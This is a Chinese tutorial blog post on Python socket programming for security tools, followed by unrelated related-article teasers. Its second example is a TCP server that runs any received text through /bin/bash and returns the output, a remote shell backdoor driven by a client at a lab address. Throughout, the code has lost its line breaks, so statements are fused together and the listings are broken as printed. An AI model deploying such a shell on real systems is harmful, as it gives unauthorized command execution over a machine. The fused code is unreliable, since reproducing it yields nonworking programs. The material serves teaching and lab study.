python安全工具开发笔记(四)——python网络编程

一、C/S架构

什么是C/S架构
C : Client S : Server。客户机和服务器结构。
Server 唯一的目的就是等待Client 的请求,Client 连上 Server 发送必要的数据,然后等待Server端完成请求的反馈。

C/S网络编程
Server端进行设置,首先创建一个通信端点,让Server端能够监听请求,之后就进入等待和处理Client请求的无限循环中。
Client编程相对Server端编程简单,只要创建一个通信端点,建立到服务器的连接,就可以提出请求了。

二、套接字 - 通信端点

套接字是一种具有之前所说的“通信端点”概念的计算机网络数据结构。网络化的应用程序在开始任何通讯之前都必须创建套接字。

Python支持: AF_UNIX,AF_NETLINK和AF_INET,其中AF_INET是基于网络的套接字。

三、Python网络编程

Python网络编程- socket模块

socket模块的socket()函数用来创建套接字

使用socket.socket()函数来创建套接字,方法如下∶
socket(socket family,socket_type,protocol=0)

创建一个TCP/IP套接字,方法如下:
tcpsock = socket(socket.AF INET,socket.SOCK_STREAM)

四、套接字对象方法

服务端套接字函数
函数描述
s.bind()绑定地址(主机,端口)道套接字
s.listen()开始TCP监听
s.accept()被动接受TCP客户端连接,(阻塞式)等待连接的到来
客户端套接字函数
函数描述
s.connect()主动初始化TCP服务器连接
s.connect_ex()Connect函数的扩展版本,出错时返回错误代码,而不是抛出异常
套接字对象方法
函数描述
s.recv()接受TCP数据
s.send()发送TCP数据
s.sendall()完整发送TCP数据
s.recvfrom()接受UDP数据
s.sendto()发送UDP数据
s.getpeemame()连接到当前套接字的远端地址
s.getsockname()当前套接字的地址
s.getsockopt()返回指定套接字的参数
s.setsockopt()设置指定套接字的参数
s.close()关闭套接字

五、Python网络编程实例

1、创建一个TCP服务器

ss = socket() #创建服务器套接字
ss.bind() #把地址绑定到套接字上
ss.listen() #监听连接
inf loop; #服务器无限循环
cs = ss.accept() #接受客户端连接
cmmon loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

2、创建一个TCP客户端
cs.socket() #创建客户端套接字
cs.connect() #尝试连接套接字
common loop: #通信循环
cs.recv()/cs.send() #对话(接受与发送)
cs.close() #关闭客户端套接字

示例一:

服务端代码:

#创建服务端
from socket import *
from time import ctimeHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环sc = ctime()+datatcpClient.send(sc.encode())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭

将服务端代码放在kali中运行,将客户端代码放在物理机运行,成功运行
在这里插入图片描述
示例二:
实际应用不会这么简单,如果想反弹一个shell
服务端代码:

#创建服务端
from socket import *
from time import ctime
from subprocess import Popen,PIPEHOST = ''
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpServer = socket(AF_INET,SOCK_STREAM)#创建服务器套接字
tcpServer.bind(ADDR)#把地址绑定到套接字上
tcpServer.listen(5)#监听连接#接收客户端发出的请求
while True:print ('waiting for connection...')tcpClient,addr = tcpServer.accept()#被动接收TCP客户端连接,(阻塞式)等待连接的到来print('..connection from:',addr)
#相当于完成了服务器无限循环,接收客户端连接while True:data = tcpClient.recv(BUFSIZE).decode()#对话(接收余发送)if not data:break#结束循环cmd = Popen(['/bin/bash','-c',data],stdin=PIPE,stdout=PIPE)tcpClient.send(cmd.stdout.read())#输出当前的tcpClient.close()#关闭连接
tcpServer.close()#关闭连接

客户端代码:

#创建客户端
from socket import *
import timeHOST = '192.168.23.128'
PORT = 2333
BUFSIZE = 1024ADDR = (HOST,PORT)tcpClient = socket(AF_INET,SOCK_STREAM)
tcpClient.connect(ADDR)#与服务端交互
while True:data = input('~:')if not data:breaktcpClient.send(data.encode())#向服务端发送数据data = tcpClient.recv(BUFSIZE).decode()if not data:breakprint (data)tcpClient.close()#客户端关闭

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/144140.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【网络协议】TCP报文格式

1.源端口和目的端口 源端口字段占16比特,用来写入源端口号。源端口号用来标识发送该TCP报文段的应用进程。 目的端口字段占16比特,用来写入目的端口号。目的端口号用来标识接收该TCP报文段的应用进程。 2.序号 当序号增加到最后一个时,下…

扩容领跑者 Arbitrum 抢占 Layer3 竞争高地

近段时间以来,Arbitrum 凭借创新技术和优越生态系统逐渐成为顶尖的以太坊扩容解决方案。当新一轮 Layer3 竞争在 Rollup 领域展开时,Arbitrum 和 Optimism 始终是备受瞩目的两大角色。Optimism 以独特的 OP Stack 进行水平扩展,而 Arbitrum 则…

RISC-V 基础指令汇总

加载指令 存储指令 PC寻址指令 auipc rd, imm这条指令把 imm (立即数)左移12位并带符号扩展到64位后,得到一个新的立即数,这个新的立即数是一个有符号的立即数,再加上当前 PC 值,然后存储到 rd 寄存器中。…

【VUE复习·4】计算属性computed:原理、完整写法(不常用)、与 methods 的区别、简写(最常用)、应用案例!

总览 1.简介计算属性 2.computed 与 methods 的区别 3.computed 的简写(不修改计算属性,只显示) 4.经典应用场景 一、计算属性 1.为什么需要计算属性? 首先,如果我们要写一个插值语法,而 {{ }} 内的内容…

如何选择米尔基于STM32MP1系列核心板和开发板

一款合适的处理器,是每个工程师在开发设计前期调研必须面对的难题。而如何挑选一款符合产品开发的处理器呢?今天我们就以ST公司的STM32MP1系列处理器进行分析比较。 ST公司目前已经发布了两款不同类型的MPU芯片,分别是STM32MP15系列和STM32M…

AI算法+视频技术助力构建智慧城管解决方案,实现城市管理精细化

一、背景分析 物联网、大数据、移动互联网等技术的日新月异,城市管理对信息资源需求的日益提升,广大市民对政府服务新的诉求, 智慧城管正面临千载难逢的发展机遇。 发展历程: 1)数字城管:城市管理机制的…

OpenShift 介绍

OpenShift 1. OpenShift 简介1.1 OpenShift 核心功能1.2 OpenShift 特性1.3 OCP和OKD介绍 2. OpenShift 架构2.1 OpenShift 架构概述2.2 Master和Nodes 3. 管理 OpenShift3.1 OpenShift 项目及应用3.2 使用Source-to-image构建映像3.3 管理OpenShift资源 4. OpenShift 网络/持久…

mac有必要用清理软件吗?有哪些免费的清理工具

当我们谈到Mac电脑时,很多人都会觉得它比Windows系统更加稳定和高效,也更不容易积累垃圾文件。但实际上,任何长时间使用的操作系统都会逐渐积累不必要的文件和缓存。那么,对于Mac用户来说,有必要使用专门的清理软件吗&…

Nature Communications | 张阳实验室:端到端深度学习实现高精度RNA结构预测

RNA分子是基因转录的主要执行者,也是细胞运作的隐形功臣。它们在基因表达调控、支架构建以及催化活性等多个生命过程中都扮演着关键角色。虽然RNA如此重要,但由于实验数据的缺乏,准确预测RNA 的三维空间结构仍然是目前计算生物学面临的重大挑…

货物寄到英国选择什么物流比较划算?

随着全球化的发展,越来越多的企业开始将产品销售到海外市场,其中英国作为一个重要的贸易伙伴,吸引了大量的中国企业的关注。然而,如何将货物安全、快速地运送到英国,成为了众多企业面临的一个问题。那么,货…

XML文件反序列化读取

原始XML文件 <?xml version"1.0" encoding"utf-8" ?> <School headmaster"王校长"><Grade grade"12" teacher"张老师"><Student name"小米" age"18"/><Student name&quo…

C++简单实现红黑树

目录 一、概念 二、红黑树的性质 三、红黑树的定义 四、红黑树的插入操作 情况一&#xff08;叔叔节点存在且为红色&#xff09;——变色向上调整&#xff1a; 情况二&#xff08;叔叔节点不存在或为黑色&#xff09;——旋转变色&#xff1a; 2.1叔叔节点不存在 2.2叔叔…

智能网联驾驶测试与评价工业和信息化部重点实验室“车载智能计算基础平台参考架构2.0专家研讨会”圆满结束

近日&#xff0c;智能网联驾驶测试与评价工业和信息化部重点实验室在北京市召开“车载智能计算基础平台参考架构2.0专家研讨会”&#xff0c;本次会议由智能网联驾驶测试与评价工业和信息化部重点实验室、中国软件评测中心&#xff08;工业和信息化部软件与集成电路促进中心&am…

ChatGPT 在机器学习中的应用

办公室里一个机器人坐在人类旁边&#xff0c;Artstation 上的流行趋势&#xff0c;美丽的色彩&#xff0c;4k&#xff0c;充满活力&#xff0c;蓝色和黄色&#xff0c; DreamStudio出品 一、介绍 大家都知道ChatGPT。它在解释机器学习和深度学习概念方面也非常高效&#xff0c;…

SpringCloud Alibaba - Sentinel

接上文SpringCloud Alibaba - Nacos 1.Sentinel 流量防卫兵 1.1 安装与部署 和Nacos一样&#xff0c;它是独立安装和部署的&#xff0c;下载地址https://github.com/alibaba/Sentinel/releases 下载后的jar放到目录 然后配置 启动并访问,用户名密码都是 sentinel 此时就…

祝贺莱佛士学生在ASDA2023设计大赛中获得最高奖项

莱佛士一直主张学生们积极参与各种国际知名的设计大赛&#xff0c;也会竭尽所能为学生们的参赛提供途径与指导&#xff0c;本次的American Standard Design Award&#xff08;ASDA&#xff09;2023设计大赛也不例外。 ASDA2023设计大赛&#xff0c;推广以用户为中心的设计理念…

为什么要选择Spring cloud Sentinel

为什么要选择Spring cloud Sentinel &#x1f34e;对比Hystrix&#x1f342;雪崩问题及解决方案&#x1f342;雪崩问题&#x1f342;.超时处理&#x1f342;仓壁模式&#x1f342;断路器&#x1f342;限流&#x1f342;总结 &#x1f34e;对比Hystrix 在SpringCloud当中支持多…

CSS滚动条详解(::-webkit-scrollbar )

滚动条出现的事件&#xff1a; 当设置定宽或者定高的元素添加overflow:scroll属性&#xff0c;会出现滚动条&#xff0c;但是原生样式的会比较丑影响美观。 <div class"content"><div class"contain"></div> </div>.content {wid…

第十四届蓝桥杯大赛软件赛决赛 C/C++ 大学 B 组 试题 A: 子 2023

[蓝桥杯 2023 国 B] 子 2023 试题 A: 子 2023 【问题描述】 小蓝在黑板上连续写下从 1 1 1 到 2023 2023 2023 之间所有的整数&#xff0c;得到了一个数字序列&#xff1a; S 12345678910111213 ⋯ 20222023 S 12345678910111213\cdots 20222023 S12345678910111213⋯2…

IntelliJ IDEA学习总结(3)—— IntelliJ IDEA 常用快捷键(带动图演示)

一、构建/编译 Ctrl + F9:构建项目 该快捷键,等同于菜单【Build】—>【Build Project】 执行该命令后,IntelliJ IDEA 会编译项目中所有类,并将编译结果输出到out目录中。IntelliJ IDEA 支持增量构建,会在上次构建的基础上,仅编译修改的类。 Ctrl + Shift + F9:重新编…